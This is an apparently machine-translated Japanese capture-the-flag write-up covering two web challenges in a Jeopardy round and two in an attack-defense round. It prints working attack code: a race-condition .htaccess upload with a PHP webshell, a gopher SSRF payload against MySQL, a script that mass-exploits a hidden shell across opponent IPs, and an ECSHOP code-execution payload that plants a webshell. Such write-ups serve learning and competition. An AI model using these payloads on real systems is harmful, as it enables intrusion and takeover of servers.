このコンペティションでチームが大喜びしたこと、おめでとうございます!
ジョパディ
朝の問題解決モードでは、2つのウェブが与えられました
web1:
この質問の写真をアップロードしてください。げっぷとアップロードでphpタイプを変更した後、「誰よりも速い」というプロンプトが表示されます。.htaccessをアップロードしようとします。また、競争条件を介して.htaccessをアップロードし、別の画像のトロイの木馬をアップロードし、シェルを取得できます。
.htaccessスクリプトをアップロードする
import requests
import time
while True:
files = {
'file': ('.htaccess', open('.htaccess', 'rb'), 'image/jpeg')}
r = requests.post('http://127.0.0.1/upload',files=files)
time.sleep(0.5)
"""
.htaccess:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
"""
別のjpg画像をアップロードすると、トロイの木馬は1文の
shell.jpgで問題ありません。
<?php system('cat /flag.txt');?>
web2:
この質問は、ファイルプロトコル/ etc / passwdを介して読み取ることができますが、file:///flag.txtを読み取ると、存在しないことがわかり、index.phpを読み取ることが禁止されています。また、F12を介してWebページのソースコードを表示すると、フラグがmysqlに格納されていることがわかります。まず、gopherプロトコルでフラグを読み取ることを考えていて、ゲーム中にペイロードが作成されなかったため、この方法が正しいかどうかに関係なく、学習であると考えられます。
mysqlにアクセスしてクエリステートメントを実行する
Wiresharkはパケットをキャプチャし、フローを追跡し、赤の送信データをフィルタリングします
データを変換します
gopher://127.0.0.1:3306 / _%26%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00% 00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00% 21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d% 6d%65%6e%74%20%6c%69%6d%69%74%20%31%28%00%00%00%03%73%65%6c%65%63%74%20%69% 6e%66%6f%20%66%72%6f%6d%20%64%76%77%61%2e%63%74%68%61%63%6b%20%77%68%65%72% 65%20%69%64%3d%32
CRLF問題、カールテストの最後に%0d0aを追加
AWDモード
午後のAWDモードには2つのウェブしかない
web1:
web1は、/ var / www / html /ディレクトリのls -aの下に.shell.phpとして非表示になっているものを見つけ、フラグはcat / fla *によってバイパスできます。
スクリプト:
import requests
ip1='http://172.20.'
ip2='.101'
ip=[]
for i in range(101,113,1):
ip.append(ip1+str(i)+ip2)
data={
'cmd':'system("cat /fla*");'}
for i in ip:
try:
r=requests.post(i+'/.shell.php',data=data,timeout=0.5)
print i
print r.text
except:
pass
web2:
ECSHOPコード実行の脆弱性
最初にcurlコマンドのペイロードを実行し
、スクリプトを添付します。
import requests
import os
'''
curl "http://172.20.102.102/user.php" -d "action=login&okami=phpinfo();exit;" -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
curl "http://172.20.102.102/user.php" -d "action=login&okami=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbChbb2thbWldKTsnKQoOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
'''
ip1='http://172.20.'
ip2='.102'
ip=[]
for i in range(101,113,1):
ip.append(ip1+str(i)+ip2)
for i in ip:
try:
r=requests.post(i+'/okami.php?okami=system("cat /flag.txt");',timeout=0.5)
print i
print r.text
except:
pass